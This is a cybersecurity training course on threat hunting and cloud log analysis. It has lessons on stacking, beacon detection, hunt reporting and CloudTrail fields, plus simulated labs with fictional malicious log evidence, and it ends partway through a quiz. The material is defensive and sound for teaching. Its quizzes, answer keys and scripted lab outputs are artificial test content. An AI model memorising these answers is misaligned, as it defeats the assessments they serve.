Scope defines the assets, accounts and time window. Narrow scope reduces noise: start with high-value assets such as domain controllers, jump servers and internet-facing hosts, or with one business unit. Decide the time range based on retention and the likely dwell time; hunting only the last day misses a quiet persistence mechanism installed weeks ago. Record what is excluded and why, such as vulnerability scanners at 192.0.2.80 or a known test subnet, so readers understand the limits of any conclusion.

Collection gaps

Before querying, verify coverage. How many hosts actually send Sysmon logs? Does the proxy log all user agents? Is DNS logged at the resolver or only at the firewall, where encrypted DNS may hide the names? Retention matters: if process logs are kept for 14 days, a 30-day hunt is impossible. Gaps are findings. Documenting that 18 percent of servers lack command-line auditing is itself a hunt outcome, and it should create a ticket to fix collection.

Data quality and normalization

Different sources name the same thing differently: user, UserName, AccountName. Time zones and clock drift can break correlation, so normalize to UTC and verify the time source. Enrich where possible with asset criticality, owner, geolocation and threat intelligence. Sample the data first to learn field names and typical volumes before writing complex queries. Poor data hygiene produces misleading statistics, such as counting a process as rare simply because one host sends logs in a different field format.

Documenting the pivots matters as much as the final answer. When the hunter excludes a value, the reason goes into the notes: 'excluded svchost.exe from C:\Windows\System32 because signed by Microsoft and path verified'. That makes the work auditable and lets a peer challenge an exclusion that an attacker could exploit. Hunts also benefit from peer review before they close, where a second analyst checks whether another hypothesis explains the same evidence.

COVERAGE CHECK

```
index=sysmon | stats dc(host) as hosts_reporting
-> 214 of 240 servers (89%)
index=sysmon EventCode=22 | stats count
-> DNS events present, oldest: 2026-09-05
retention proxy: 90d Sysmon: 30d 4688 cmdline: 61% hosts
Gap ticket: INC-FAKE-0412
```

WORKED EXAMPLE

A hunter wants to test for rare outbound beaconing by a process other than browsers. Sysmon Event 3 gives process-to-IP connections, but only 214 of 240 servers report. She notes the gap, scopes the hunt to the reporting hosts for 30 days, adds the proxy logs with 90-day retention for cross-checks, and records that 26 servers are blind. The final report names that limit and opens a ticket to deploy Sysmon on the missing servers.

KEY TERMS

Sysmon Event ID 1: Process creation event with command line, hashes and parent.

Sysmon Event ID 3: Network connection initiated by a process.

Retention: How long a log source is kept.

Scope: The set of assets, accounts and dates a hunt covers.

Coverage gap: Systems or fields for which no telemetry exists.

REMEMBER

- Choose the data source first, based on the technique.
- Scope by asset, account and time; record exclusions.
- Gaps in coverage and retention are findings that need tickets.

QUICK CHECK

1. Which event records a process creation in Sysmon?

- A) Event ID 3
- B) Event ID 22
- C) Event ID 11
- D) Event ID 1

2. Why verify coverage before hunting?

- A) It speeds queries
- B) It is required by law
- C) A hunt over hosts without logs gives false assurance
- D) It deletes logs

3. Which source shows web user agents and bytes sent?

- A) Event 4624
- B) DHCP
- C) BIOS
- D) Proxy logs

4. Why normalize timestamps to UTC?

- A) To reduce volume
- B) For prettier dashboards
- C) To correlate events across sources reliably
- D) Because Sysmon requires it

Answers: 1-D 2-C 3-D 4-C

1. Event ID 1 is process creation.
2. Blind hosts make a negative result meaningless.
3. Proxy logs record web request details.
4. Mixed zones break sequence analysis.

Hunt methods: stacking and baselining

Most hunting is statistics on large data. Stacking and baselining make rare, odd activity stand out from millions of normal events.

Stacking (frequency analysis)

Stacking counts how many times each value occurs and sorts the result. Common values are usually legitimate and rare values deserve a look, so least frequency of occurrence (LFO) analysis lists the values with the smallest counts. Examples: process names across all hosts, scheduled task names, service names, autorun entries, user agents, parent-child pairs and logon source hosts per account. In SPL this is `| stats count by process_name | sort count`, and in KQL `summarize count() by process_name | order by count_ asc`. Stacking by a field is only meaningful over a population large enough to define normal.

Grouping and dimensions

Stack with more than one dimension to add meaning: distinct host count per process, so a binary on one host only stands out; distinct users per source host; or count by path and signer. A process named `svchost.exe` running from `C:\Users\Public` is rare in the (name, path) stack even though `svchost.exe` is very common by name alone. Masquerading, ATT&CK T1036, is found this way: system names in non-system paths, misspellings like `svch0st.exe` or `scvhost.exe`, or valid names with unsigned binaries.

Baselining

A baseline describes normal for a host, group or time. Compare the current period with a prior one: new processes not seen in the previous 30 days, new services, new admin logons, or hosts that suddenly contact many new destinations. Peer comparison asks how a host differs from others of the same role; a web server running PowerShell, or a developer machine contacting an unusual country, stands out against peers. Baselines must be refreshed, because patches, new software and seasonal work shift normal.

Limits and cautions

Rare is not the same as malicious. New software, custom scripts and one-off admin work are all rare. Attackers also blend in by using common tools such as PowerShell or a legitimate remote management product, which will not stand out in a stack. Treat stacking as a way to prioritize review, not a verdict. Always pivot from a rare item: who ran it, from which parent, what files and connections followed, and whether the binary is signed and hash-known. Document the exclusions you apply, since each one narrows what the hunt can see.

One practical habit is to sample a small slice of data before running a month-long query. Pull a single day for five hosts, confirm the fields are populated, look at the top ten values, and only then widen the scope. This catches missing fields, time zone mistakes and unexpected log formats early, saving hours of waiting for large queries that return nothing useful and reducing load on a shared SIEM.

STACK QUERY

```
index=sysmon EventCode=1 | stats count dc(host) as hosts by Image
| sort count | head 5
Image count hosts
C:\Users\Public\svchost.exe 1 1
C:\Tools\fakeutil.exe 3 1
C:\Windows\System32\wbem\mofcomp.exe 9 4
C:\Program Files\App\updater.exe 14 9
```

WORKED EXAMPLE

A least-frequency stack of process image paths over 30 days returns thousands of rows. The hunter sorts by host count and finds `C:\Users\Public\svchost.exe` running once on one host, WS-031. The name is legitimate but the path is not; no Windows system binary lives there. Pivoting shows its parent was a Word macro and it made a connection to 198.51.100.77. The single rare entry in the stack becomes the starting point for an incident.

KEY TERMS

Stacking: Counting and sorting values to see common and rare ones.

LFO: Least frequency of occurrence analysis.

Baseline: A record of what normal looks like.

Masquerading: Naming malware like a legitimate file; T1036.

Peer group: Systems with a similar role used for comparison.

REMEMBER

- Stacking surfaces rare values; add dimensions like host count and path.
- Baselines compare against past behavior and peers.
- Rarity prioritizes review; it never replaces pivoting.

QUICK CHECK

1. Least frequency analysis looks for?
 - A) Values with the lowest counts
 - B) Newest accounts
 - C) Most common values
 - D) Largest files
2. Why stack by name and path together?
 - A) Common names in odd paths expose masquerading
 - B) Paths are encrypted
 - C) It reduces logs
 - D) It is faster
3. Is every rare process malicious?
 - A) Yes
 - B) Only on servers
 - C) Only when unsigned
 - D) No, rarity needs pivoting to confirm
4. A peer comparison flags a web server running PowerShell. Why?
 - A) Web servers cannot run code
 - B) Peers are random
 - C) PowerShell is banned
 - D) It differs from servers with the same role

Answers: 1-A 2-A 3-D 4-D

1. Rare values are examined first.
2. Name plus path shows impostors.
3. Rare items include benign custom software.
4. Deviation from role peers is suspicious.

Anomaly detection and beacon hunting

Command-and-control often looks like normal web traffic except for its timing and rarity. Statistics can reveal it.

Statistical thresholds

A simple anomaly method flags values several standard deviations from a mean, for example a host sending ten times its usual outbound bytes, or a user logging on from more hosts than 99 percent of peers. Percentiles are more robust than means when data is skewed. Choose the grouping carefully: per host, per account or per role. Time-of-day and day-of-week patterns matter, since a batch job at 02:00 is normal for a backup server but suspicious for a receptionist laptop. Thresholds produce candidates for investigation, not verdicts.

Rare parent-child and process behavior

Relationships between processes are stable enough to model. Office applications rarely spawn command interpreters, services.exe launches services, and w3wp.exe seldom starts cmd.exe. List parent-child pairs and stack them; a pair seen once or twice in 30 days deserves review. Also look at rare network behavior by process: notepad.exe making outbound connections, or rundll32.exe with no command-line arguments connecting to the internet, which can indicate injection or a hollowed process.

Beacon hunting

Implants check in with their server at intervals, often with jitter. Group proxy, flow or DNS logs by source host and destination, then compute connection counts and the spacing between connections. Highly regular intervals, such as every 60 seconds plus or minus 10 percent, low variance in bytes per request, and many connections over hours or days are typical. Long-lived connections and small, uniform payloads also stand out. Tools like RITA analyze Zeek logs for beaconing score, and the same logic can be built from standard deviation of inter-arrival times.

Rare domains and false positives

Rare destination analysis looks for domains contacted by few hosts, newly registered domains, domains with high-entropy or algorithmically generated names, very long DNS labels and high volumes of TXT or NXDOMAIN responses that suggest DNS tunneling or DGA. Legitimate software also beacons: update checks, telemetry, and cloud sync tools. Filter with allowlists of known vendors, check domain age and category, and confirm with endpoint evidence such as the initiating process before escalating.

Visualization helps. A histogram of connection intervals makes a beacon obvious as a single tall spike, and a scatter plot of bytes against time can show unusual spikes of data leaving the network. Do not rely on charts alone, since attackers who add jitter or large random padding can blur the pattern. Combine statistical views with endpoint evidence such as the initiating process, the command line that launched it and file writes that preceded the first connection.

BEACON CANDIDATES

```
src=192.0.2.44 dst=203.0.113.9 host=cdn-fake.example.com
connections=1440 span=24h interval_mean=60.1s stdev=2.3s
bytes_out_mean=412 stdev=9 ua=Mozilla/5.0 (older)
src=192.0.2.61 dst=198.51.100.5 (updates.vendor.example)
connections=24 interval=3600s stdev=0.4s -> known vendor
```

WORKED EXAMPLE

A proxy log grouped by source and destination shows 192.0.2.44 contacting cdn-fake.example.com 1,440 times in 24 hours at 60-second intervals with nearly constant payload size and an outdated user agent. The domain is five days old and no other host contacts it. By contrast, a vendor update service at 3,600-second intervals is known and allowlisted. The hunter escalates 192.0.2.44, then checks which process initiated the connections.

KEY TERMS

Beaconing: Regular check-in communication from malware to its server.

Jitter: Random variation added to a beacon interval.

DGA: Domain generation algorithm creating many pseudo-random domains.

Standard deviation: A measure of how spread out values are.

Dwell time: How long an attacker is present before detection.

REMEMBER

- Thresholds and percentiles produce candidates, not verdicts.
- Rare parent-child pairs and rare process network use expose abuse.
- Beacons show regular intervals and uniform sizes; filter known vendors.

QUICK CHECK

1. Which pattern suggests beaconing?
 - A) Single DNS query
 - B) Regular intervals with low variance and uniform size
 - C) Random daily traffic
 - D) One large download
2. Why are percentiles useful?
 - A) They resist skew better than means
 - B) They are always smaller
 - C) They find passwords
 - D) They compress logs
3. A rare domain is contacted by one host every hour. What next?
 - A) Delete logs
 - B) Ignore it
 - C) Check domain age, category and the initiating process
 - D) Block everything
4. What does a rare parent-child pair indicate?
 - A) Disk failure
 - B) A relationship worth review
 - C) Normal startup
 - D) Always malware

Answers: 1-B 2-A 3-C 4-B

1. Regularity is the signature of automated check-ins.
2. Skewed data distorts means.
3. Confirm before escalating; updates also beacon.
4. Unusual pairs warrant pivots.

Hunt reporting and operationalizing

A hunt that is not documented cannot be repeated, trusted or turned into protection. Reporting converts effort into lasting value.

Hunt report contents

A good report states the hypothesis, the ATT&CK technique, the scope (assets and dates), the data sources and their gaps, the methods and queries used, the number of events reviewed, what was excluded, the findings with evidence, the conclusion, and recommendations. Include actual query text and counts so another analyst can reproduce the work. Evidence for a positive finding should list host names, accounts, timestamps in UTC, hashes and the path of the activity. Keep facts separate from interpretation, and state confidence.

Conclusions and limits

Conclusions fall into categories: activity confirmed (hand off to incident response), no evidence found within the scope, or inconclusive because of data gaps. 'No evidence found' must be phrased carefully: it means the technique was not observed in the specified data for the specified period, not that it never occurred. Record limitations such as unmonitored hosts, short retention or encrypted traffic. Gaps should become tickets with owners, for example deploying command-line auditing to the 18 percent of servers missing it.

Turning findings into detections

Every successful hunt query is a detection candidate. Convert it into a rule: remove one-off exclusions, define the logsource and logic, estimate alert volume from the hunt data, add a severity and runbook, and test it. Some hunts become scheduled analytics that run daily, while others stay periodic because they are too noisy for alerts. Also create recommendations for hardening, such as restricting Office child processes with ASR rules or blocking unneeded outbound ports. Submit the rule through the normal detection workflow.

Metrics and knowledge sharing

Track hunts completed, techniques covered, incidents found, detections created, and visibility gaps fixed. Maintain a hunt library or playbook so hypotheses can be re-run on a schedule or by new analysts. Share results with the intelligence and detection teams, and update ATT&CK coverage maps. Present key findings briefly to management with business impact. Measuring outcomes, rather than only the count of hunts, shows whether hunting is improving defense.

Keep a short checklist for each report: was the hypothesis stated, are queries included, were gaps listed, are timestamps in UTC, and is every claim backed by evidence. Reports should be short enough for busy readers to finish, with an executive paragraph at the top and technical appendices below. Version them in a shared repository so later hunters can find them, and tag each with the ATT&CK technique so coverage can be tracked.

HUNT REPORT SUMMARY

```
Hunt: HUNT-2026-017 Technique: T1053.005
Scope: 214 servers, 2026-09-05 to 2026-10-04
Events reviewed: 1,900 task creations; 12 after filters
Finding: 1 suspicious task on SRV-22 (user path script)
Conclusion: CONFIRMED -> IR case opened
Gap: 26 servers no Sysmon
Detection: new rule 'Task action in user-writable dir' (SIGMA-221)
```

WORKED EXAMPLE

After the scheduled task hunt, the analyst writes the report: hypothesis, 214 servers covered, 1,900 events reviewed and 12 remaining after filters, with one malicious task on SRV-22. She records the 26-server telemetry gap, hands the evidence to incident response, and converts her final query into a Sigma rule with an allowlist for the known installer. The rule enters testing, and a ticket is opened to fix the Sysmon coverage.

KEY TERMS

Hunt report: A written record of hypothesis, method, findings and recommendations.

Operationalize: Turn a hunt result into a lasting detection or control.

Confidence: A statement of how sure the analyst is of a conclusion.

Hunt library: A collection of reusable hunt hypotheses and queries.

Limitation: A factor that restricts what a conclusion can claim.

REMEMBER

- Report hypothesis, scope, data, method, evidence, conclusion and gaps.
- Phrase negative results as bounded by scope and data.
- Convert queries into detections and track outcomes.

QUICK CHECK

1. What does 'no evidence found' mean?
 - A) Logs are clean everywhere
 - B) The technique never occurred
 - C) The technique was not seen in the scoped data
 - D) The hunt failed
2. A strong hunt report includes?
 - A) Names of analysts
 - B) Raw logs only
 - C) Queries, counts, evidence, gaps and recommendations
 - D) Only the verdict
3. What is the best use of a good hunt query?
 - A) Turn it into a tested detection
 - B) Make it noisier
 - C) Delete it
 - D) Share by email only
4. A missing log source discovered in a hunt should?
 - A) Be left for later hunts
 - B) Be hidden
 - C) Be ignored
 - D) Become a ticket with an owner

Answers: 1-C 2-C 3-A 4-D

1. It is bounded by scope and data.
2. Reproducibility needs queries and counts.
3. Operationalizing builds permanent coverage.
4. Gaps are actionable findings.

Write a hypothesis

SCENARIO

A threat intelligence analyst at the fictional example.com shares a report: an actor tracked as FAKEBEAR keeps access by creating scheduled tasks that mimic Windows maintenance tasks and launch scripts from user-writable folders. You are asked to turn this into a hunt hypothesis the team can run next week.

OBJECTIVE

Produce a testable hypothesis with technique, data sources and scope.

STEPS IN THE SIMULATOR

- 1 **Do:** Ask the analyst which technique the report describes

Simulator shows:

Analyst: ATT&CK T1053.005 Scheduled Task/Job. Tasks run as SYSTEM, named like 'WindowsUpdateCheck'.

- 2 **Do:** Ask what data sources exist for tasks

Simulator shows:

Analyst: Security 4698 on servers (30d), Sysmon 1 for schtasks.exe (214 of 240 servers).

- 3 **Do:** Draft: 'Adversary creates scheduled tasks whose action runs from a user-writable path'

Simulator shows:

Analyst: Good. Add scope and time window.

- 4 **Do:** Set scope to 240 servers for the last 30 days and note Sysmon gap

Simulator shows:

Draft updated: scope 240 servers / 30d; known gap: 26 servers lack Sysmon

- 5 **Do:** Define suspicious traits: action path in ProgramData, Users or Temp; creator not a known deployment account; name mimics system task

Simulator shows:

Analyst: Add 'task created outside business hours' as optional.

- 6 **Do:** Set the expected outputs: confirm, refute, or log gap

Simulator shows:

Analyst: Hypothesis accepted. Time box: 3 days. Ticket HUNT-2026-017 created.

ANSWER

Hypothesis: an adversary using T1053.005 creates scheduled tasks on servers whose action path is in a user-writable directory (ProgramData, Users, Temp), visible in Security 4698 and Sysmon 1, scoped to 240 servers over 30 days, with the 26 non-Sysmon servers listed as a gap and a 3-day time box.

Hint shown in the app: Include technique, data source, scope and what would count as suspicious.

Stack the processes

SCENARIO

You are hunting for masquerading binaries on the fictional example.com workstation fleet of 400 hosts. Sysmon process creation events (Event ID 1) from the last 30 days are indexed. Your tool is the SIEM search bar. The question: which process image runs only once and looks like a Windows binary?

OBJECTIVE

Run a least-frequency search over process names and identify the single masquerading binary.

STEPS IN THE SIMULATOR

- 1 Do:** Run: `index=sysmon EventCode=1 | stats count by Image | sort count`

Simulator shows:

Returns 2,310 rows. Lowest counts at top: 1 each for 38 images

- 2 Do:** Add distinct host count: `stats count dc(host) as hosts by Image`

Simulator shows:

Rows show count and hosts; 38 images with hosts=1

- 3 Do:** Filter to images with names matching system binaries: `Image=*svchost.exe OR *lsass.exe OR *explorer.exe`

Simulator shows:

3 rows: C:\Windows\System32\svchost.exe (84,201, 400 hosts); C:\Windows\explorer.exe (9,880); C:\Users\Public\svchost.exe (1, host WS-031)

- 4 Do:** Pivot on the single rare row: show parent and command line

Simulator shows:

ParentImage: WINWORD.EXE; CommandLine: C:\Users\Public\svchost.exe -p 4444

- 5 Do:** Check signature and hash

Simulator shows:

Signed: false. Hash not seen in threat intel. File created 2026-10-02T09:14:22Z

- 6 Do:** Pivot to network events for WS-031

Simulator shows:

Sysmon 3: svchost.exe (Users\Public) -> 198.51.100.77:443, 288 connections

ANSWER

The masquerading binary is C:\Users\Public\svchost.exe on WS-031: one execution, unsigned, launched by WINWORD.EXE and connecting to 198.51.100.77. The real svchost.exe runs from System32 on all hosts. Escalate WS-031 for incident response.

Hint shown in the app: Sort ascending by count and compare the path, not just the name.

Hunt for beacons

SCENARIO

You have 24 hours of proxy logs from the fictional example.com network, covering 900 internal hosts. You suspect an implant checking in with a command server. The viewer lets you group by source host and destination and shows request counts and interval statistics.

OBJECTIVE

Find the host and destination with regular interval callbacks.

STEPS IN THE SIMULATOR

- 1 **Do:** Group logs by src_host and dest_domain, sort by request count

Simulator shows:

Top: 192.0.2.44 -> cdn-fake.example.com 1440; 192.0.2.61 -> updates.vendor.example 24; many browsing rows

- 2 **Do:** Open the 1440-request group and view interval statistics

Simulator shows:

mean interval 60.1s, stdev 2.3s, bytes_out mean 412 stdev 9

- 3 **Do:** Compare with a normal browsing group (192.0.2.12 -> news.example.org)

Simulator shows:

intervals irregular, stdev 410s, bytes vary widely

- 4 **Do:** Check the vendor group 192.0.2.61 -> updates.vendor.example

Simulator shows:

interval 3600s stdev 0.4s; domain on allowlist 'software updates'

- 5 **Do:** Look up cdn-fake.example.com details

Simulator shows:

First seen 5 days ago, contacted by 1 internal host, category: uncategorized

- 6 **Do:** Check the user agent and URL pattern for the beacon

Simulator shows:

UA: Mozilla/5.0 (Windows NT 6.1) old; URLs: /api/v1/poll?id=A1F3 constant length

ANSWER

Host 192.0.2.44 beacons to cdn-fake.example.com every 60 seconds with tiny, uniform requests, the domain is new and rare, and the user agent is outdated. The vendor update traffic is regular but allowlisted. Escalate 192.0.2.44 for endpoint investigation.

Hint shown in the app: Regular timing and constant size separate beacons from browsing; allowlist known vendors.

Write the hunt report

SCENARIO

You have finished the scheduled task hunt at the fictional example.com and must complete the report. You will be given the facts from your notes and select what belongs in each report section, ending with the detection to create.

OBJECTIVE

Complete a hunt report listing evidence, a conclusion and the detection to create.

STEPS IN THE SIMULATOR

- 1 **Do:** Select the hypothesis and scope for section 1

Simulator shows:

Selected: T1053.005, 214 servers reporting, 30 days. Report: scope recorded

- 2 **Do:** Select the evidence entries

Simulator shows:

Evidence added: SRV-22, task 'WindowsUpdateCheck', action powershell -File C:\Users\Public\u.ps1, created 2026-10-03T22:41:07Z by account svc-fake

- 3 **Do:** Choose the data gaps to list

Simulator shows:

Added: 26 servers without Sysmon; 4688 command line on 61% of hosts

- 4 **Do:** Choose the conclusion: confirmed / not found / inconclusive

Simulator shows:

Selected: CONFIRMED. Handoff: IR case CASE-FAKE-3310

- 5 **Do:** Select recommendations

Simulator shows:

Added: deploy Sysmon to 26 servers; restrict task creation rights; reset svc-fake

- 6 **Do:** Choose the detection to create

Simulator shows:

Selected: Sigma rule, 4698 task action path in user-writable directory, with signed installer allowlist

- 7 **Do:** Submit the report

Simulator shows:

Report accepted: 7 of 7 sections complete, facts separated from interpretation

ANSWER

The report states T1053.005 scope, the SRV-22 task as evidence, the 26-server and command-line logging gaps, a conclusion of confirmed with handoff to incident response, recommendations, and a new Sigma detection for task actions in user-writable paths.

Hint shown in the app: Evidence is facts; conclusions and recommendations come after.

Threat Hunting: 10 questions, 80% to pass

1. What best distinguishes a hunt from alert triage?
 - A) A hunt takes less time
 - B) Triage is proactive
 - C) A hunt starts from a hypothesis without an alert
 - D) A hunt uses no logs
2. Which statement is a testable hypothesis?
 - A) Hackers are bad
 - B) The network is large
 - C) Logs exist
 - D) Scheduled tasks running from user-writable paths on servers indicate persistence (T1053.005)
3. Which Sysmon event records DNS queries?
 - A) Event ID 13
 - B) Event ID 22
 - C) Event ID 11
 - D) Event ID 1
4. Why check collection coverage first?
 - A) It speeds up SIEM
 - B) Blind hosts make a negative result misleading
 - C) It is mandatory
 - D) It reduces alerts
5. Least frequency analysis is used to?
 - A) Compress data
 - B) Find the most common process
 - C) Surface rare values for review
 - D) Encrypt logs
6. A svchost.exe running from C:\Users\Public is best found by?
 - A) Stacking name and path
 - B) Password audit
 - C) Counting emails
 - D) Port scanning
7. Which pattern most suggests beaconing?
 - A) One large upload
 - B) A single DNS error
 - C) Regular intervals with uniform sizes
 - D) Random browsing
8. What should 'no evidence found' be understood as?
 - A) Technique not seen in scoped data
 - B) Hunt failed
 - C) System is clean
 - D) Technique never occurred
9. What should happen to a productive hunt query?
 - A) Become a tested detection rule
 - B) Be deleted
 - C) Be hidden
 - D) Be ignored
10. Why is a rare process not automatically malicious?
 - A) Hashes change
 - B) Rare means safe
 - C) Rare is impossible
 - D) It could be new software or custom admin work

Answers: 1-C 2-D 3-B 4-B 5-C 6-A 7-C 8-A 9-A 10-D

1. Hunts are analyst-initiated.
2. It names behavior, data and suspicious traits.
3. Event ID 22 is DNS query.
4. No telemetry means no evidence either way.
5. LFO highlights rare items.
6. Name and path stacking exposes masquerading.
7. Regularity indicates automation.
8. It is limited to scope and data.
9. Operationalize through the detection workflow.
10. Rarity needs pivoting to confirm.

Cloud and Identity Detection

Advanced | 5 lessons | 4 simulated labs | checkpoint | about 5h 05m

Most modern intrusions touch cloud and identity systems, so analysts must read their logs fluently. This module covers AWS CloudTrail and Microsoft Entra ID sign-in and audit logs: which events exist, how to interpret key fields, and how to trace an actor through role assumption and API calls. You will learn to recognize password spraying, adversary-in-the-middle phishing, session token replay and MFA fatigue, then triage SaaS alerts such as impossible travel, malicious inbox rules and OAuth grants, and respond in the right order.

BY THE END YOU CAN

- + Read CloudTrail and Entra ID sign-in logs to trace activity
- + Detect password spraying, token theft and risky sign-ins
- + Triage SaaS and identity alerts and respond with correct actions

IN THIS MODULE

Lesson 1 Cloud logging fundamentals

Lesson 2 Reading CloudTrail

Lesson 3 Entra ID sign-in analysis

Lesson 4 Password spraying and token theft

Lesson 5 SaaS alerts and identity response

Lab 1 Trace CloudTrail activity (Log viewer)

Lab 2 Detect a password spray (Mock SIEM)

Lab 3 Spot token replay (Log viewer)

Lab 4 Respond to account takeover (Scenario)

Checkpoint 10 questions, 80% to pass

Cloud logging fundamentals

You cannot investigate what was never logged. Knowing which logs exist, what they cover and how long they last decides what you can prove.

CloudTrail event types

AWS CloudTrail records API activity in an account. Management events (control plane) cover actions that manage resources: RunInstances, CreateUser, AttachRolePolicy, PutBucketPolicy, AssumeRole. A trail logs these by default for the first copy of management events. Data events (data plane) cover high-volume resource operations such as S3 GetObject and PutObject, Lambda Invoke and DynamoDB item operations. Data events are off by default and cost extra, so a team must enable them deliberately. Insights events flag unusual API call rates. Without data events you can see that a bucket policy changed but not which objects were downloaded.

Where logs live and retention

CloudTrail Event history shows the last 90 days of management events per region at no setup cost, but it is not a durable record. A configured trail delivers logs as JSON files to an S3 bucket, optionally to CloudWatch Logs, and can be organization-wide and multi-region. Log file integrity validation produces signed digest files that help prove logs were not altered. Protect the bucket with restricted access, versioning and a separate logging account, because attackers with admin rights may try StopLogging or DeleteTrail to hide activity. CloudTrail Lake offers queryable storage with configurable retention.

Entra ID logs

Microsoft Entra ID (formerly Azure AD) provides sign-in logs and audit logs. Sign-in logs include interactive user sign-ins, non-interactive sign-ins (token refreshes by apps), service principal sign-ins and managed identity sign-ins. Audit logs record directory changes: user creation, role assignment, application consent, conditional access policy changes, password resets and MFA method registration. Default retention is short, roughly 7 days on free tenants and 30 days with Entra ID P1 or P2, so export through diagnostic settings to Log Analytics, a storage account or a SIEM for long-term investigation.

SaaS and unified logs

Microsoft 365 adds the Unified Audit Log, which captures Exchange mailbox actions (inbox rule creation, mail access), SharePoint file activity and Teams. Other SaaS providers, such as Google Workspace, Okta and Salesforce, have their own audit APIs. When investigating, plan which logs answer which question: identity logs for who authenticated, audit logs for what changed, cloud API logs for what resources were touched and mailbox logs for data access. Always normalize time to UTC and keep note of what is not logged, so conclusions stay honest.

Retention and cost decisions are a security topic, not only an IT one. A common baseline is organization-wide trails in all regions, logs sent to a dedicated log-archive account with write-only permissions for the source accounts, and alerts on StopLogging, DeleteTrail, UpdateTrail and changes to the log bucket policy. Cloud providers also offer other relevant records beyond these two services: AWS GuardDuty findings, VPC flow logs, and Config history show different sides of the same activity.

CLOUDTRAIL TRAIL SETTING

```
trail: org-trail-example multi-region: true
management events: ReadWrite (default)
data events: S3 bucket 'example-finance-data' WriteOnly
delivery: s3://example-log-archive/AWSLogs/
log file validation: enabled
event history (fallback): 90 days
```

WORKED EXAMPLE

A fictional analyst investigates a suspected leak from the bucket example-finance-data. CloudTrail management events show a PutBucketPolicy call two days ago, but the trail had no S3 data events enabled, so there is no record of which objects were read. The analyst notes this gap in the findings, uses VPC flow logs and S3 server access logs as partial substitutes, and recommends enabling data events on sensitive buckets.

KEY TERMS

Management event: A control-plane API call that changes or lists resources.

Data event: A high-volume data-plane operation such as S3 GetObject.

Trail: A CloudTrail configuration that delivers events to S3 or other targets.

Audit log: An Entra record of directory and configuration changes.

Unified Audit Log: Microsoft 365 log of mailbox, file and admin activity.

REMEMBER

- CloudTrail: management events by default, data events must be enabled.
- Entra: sign-in logs show authentication, audit logs show changes; retention is short.
- Know what is not logged before drawing conclusions.

QUICK CHECK

1. Which CloudTrail event type is off by default?
 - A) Data events
 - B) Trail validation
 - C) Event history
 - D) Management events
2. How long does CloudTrail Event history keep management events?
 - A) 1 year
 - B) 7 days
 - C) Forever
 - D) 90 days
3. Which Entra log records a conditional access policy change?
 - A) Sign-in log
 - B) DNS log
 - C) Audit log
 - D) Flow log
4. Why export Entra logs to a SIEM or storage?
 - A) It is required by Entra
 - B) Logs expire when read
 - C) To speed sign-ins
 - D) Default retention is short

Answers: 1-A 2-D 3-C 4-D

1. Data events must be enabled and cost extra.
2. Event history covers 90 days.
3. Directory changes appear in audit logs.
4. Default retention is only days to a month.

Reading CloudTrail

Every cloud action is an API call. Reading a CloudTrail record field by field lets you name the actor, the action and whether it worked.

Core fields

A CloudTrail record is JSON. `eventTime` is the UTC timestamp. `eventSource` is the service, such as `s3.amazonaws.com` or `iam.amazonaws.com`. `eventName` is the API action, for example `CreateAccessKey` or `PutBucketPolicy`. `awsRegion` shows where it was called. `sourceIPAddress` is the caller's address, which may be a public IP, or an AWS service name when a service acted on the caller's behalf. `userAgent` shows the client: `aws-cli`, `Boto3`, `console` or a browser. `readOnly` separates reads from writes, and `requestParameters` and `responseElements` hold arguments and results.

userIdentity

The `userIdentity` block answers who. Its type is `IAMUser`, `AssumedRole`, `Root`, `AWSService`, `FederatedUser` or similar. `IAMUser` includes `userName` and `accessKeyId` (keys starting `AKIA` are long-term, `ASIA` are temporary session keys). `AssumedRole` includes the role ARN and a `sessionContext` that shows `sessionIssuer`, the role that was assumed, and often the original identity through `sourceIdentity` or the session name. `Root` usage is always notable. Recording `accessKeyId` lets you search every action by one credential, which is the main pivot in a key compromise.

errorCode and outcomes

A missing `errorCode` means success. `AccessDenied`, `UnauthorizedOperation`, and `Client.UnauthorizedOperation` show a denied call; many denials from one identity across diverse services suggest permission enumeration after a key theft. `ThrottlingException` can signal heavy automated calling. Look at both the failures and the successes that follow them, since an attacker often tests with read-only list calls such as `ListBuckets`, `GetCallerIdentity` and `ListRoles` before attempting changes. Always read `errorMessage`, which often names the missing permission.

Tracing role assumption

Attackers often chain identities. An `sts:AssumeRole` event shows the caller in `userIdentity` and the role in `requestParameters.roleArn`, with new temporary credentials in `responseElements`. Later events appear as `AssumedRole` with that role and session name. Following the chain from a stolen key to `AssumeRole` to impactful actions, such as `PutBucketPolicy`, `CreateUser`, `AttachUserPolicy` or `StopLogging`, reveals the real actor and the blast radius. Check `sourceIPAddress` for changes: a role assumed from a new external IP is suspicious.

Do not forget to check what the actor did next. After `AssumeRole`, sort events by session name and time to build a clean list of what that session touched. Look for `CreateAccessKey`, `CreateLoginProfile`, `AttachUserPolicy` and `UpdateAssumeRolePolicy`, which create persistence for the attacker. Also note the region: activity in regions the company never uses, such as unusual deployments of compute instances, is a common sign of cryptocurrency mining or staging by an intruder who gained credentials.

CLOUDTRAIL RECORD (TRIMMED)

```
{
  "eventTime": "2026-10-03T14:22:09Z",
  "eventSource": "s3.amazonaws.com",
  "eventName": "PutBucketPolicy",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "203.0.113.77",
  "userAgent": "aws-cli/2.15",
  "userIdentity": {
    "type": "AssumedRole",
    "accessKeyId": "ASIAFAKEEXAMPLE1234",
    "arn": "arn:aws:sts::1112223333:assumed-role/DevOpsRole/session-fake"
  },
  "requestParameters": {
    "bucketName": "example-finance-data"
  },
  "readOnly": false
} (no errorCode = success)
```

WORKED EXAMPLE

A fictional `PutBucketPolicy` event shows `AssumedRole` `DevOpsRole` from `203.0.113.77` using `aws-cli`. The analyst searches CloudTrail for `AssumeRole` events producing that session: it was assumed ten minutes earlier by IAM user `dev-fake` using access key `AKIAFAKEEXAMPLE5678` from the same IP, which is outside the company's usual ranges. Earlier events show `GetCallerIdentity` and `ListRoles`. The access key is the compromised credential and `dev-fake` is the actor of record.

KEY TERMS

eventName: The API action performed.

userIdentity: Block identifying the caller type, ARN and keys.

accessKeyId: The credential ID; AKIA is long term, ASIA is temporary.

errorCode: Present only when the call failed.

AssumeRole: STS call that returns temporary credentials for a role.

REMEMBER

- Read eventName, userIdentity, sourceIPAddress and errorCode first.
- Pivot on accessKeyId and follow AssumeRole chains.
- Look for enumeration calls before impactful changes.

QUICK CHECK

1. An event with no errorCode means?
 - A) It was a console login
 - B) It failed
 - C) It was throttled
 - D) It succeeded
2. Which access key prefix indicates temporary credentials?
 - A) ASIA
 - B) IAMU
